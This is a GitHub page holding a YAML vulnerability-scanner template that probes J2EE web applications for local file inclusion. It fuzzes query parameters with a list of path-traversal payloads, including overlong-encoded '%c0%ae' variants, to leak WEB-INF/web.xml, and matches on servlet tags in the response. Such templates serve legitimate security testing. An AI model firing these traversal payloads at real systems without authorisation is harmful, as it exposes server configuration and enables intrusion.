-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathlfi-j2ee.yaml
49 lines (43 loc) · 1.08 KB
/
lfi-j2ee.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
id: lfi-j2ee
info:
name: J2EE LFI
author: shelled
severity: high
description: Looks for J2EE specific LFI vulnerabilities, tries to leak the web.xml file.
tags: j2ee,lfi,generic
requests:
- method: GET
path:
- "{{BaseURL}}"
payloads:
injection:
- "../../../../WEB-INF/web.xml"
- "../../../WEB-INF/web.xml"
- "../../WEB-INF/web.xml"
- "%c0%ae/%c0%ae/WEB-INF/web.xml"
- "%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml"
- "%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml"
- "../../../WEB-INF/web.xml;x="
- "../../WEB-INF/web.xml;x="
- "../WEB-INF/web.xml;x="
- "/WEB-INF/web.xml"
- ".//WEB-INF/web.xml"
- "../WEB-INF/web.xml"
- "%c0%ae/WEB-INF/web.xml"
fuzzing:
- part: query
type: replace
fuzz:
- "{{injection}}"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<servlet-name>"
- "</web-app>"
condition: and
- type: status
status:
- 200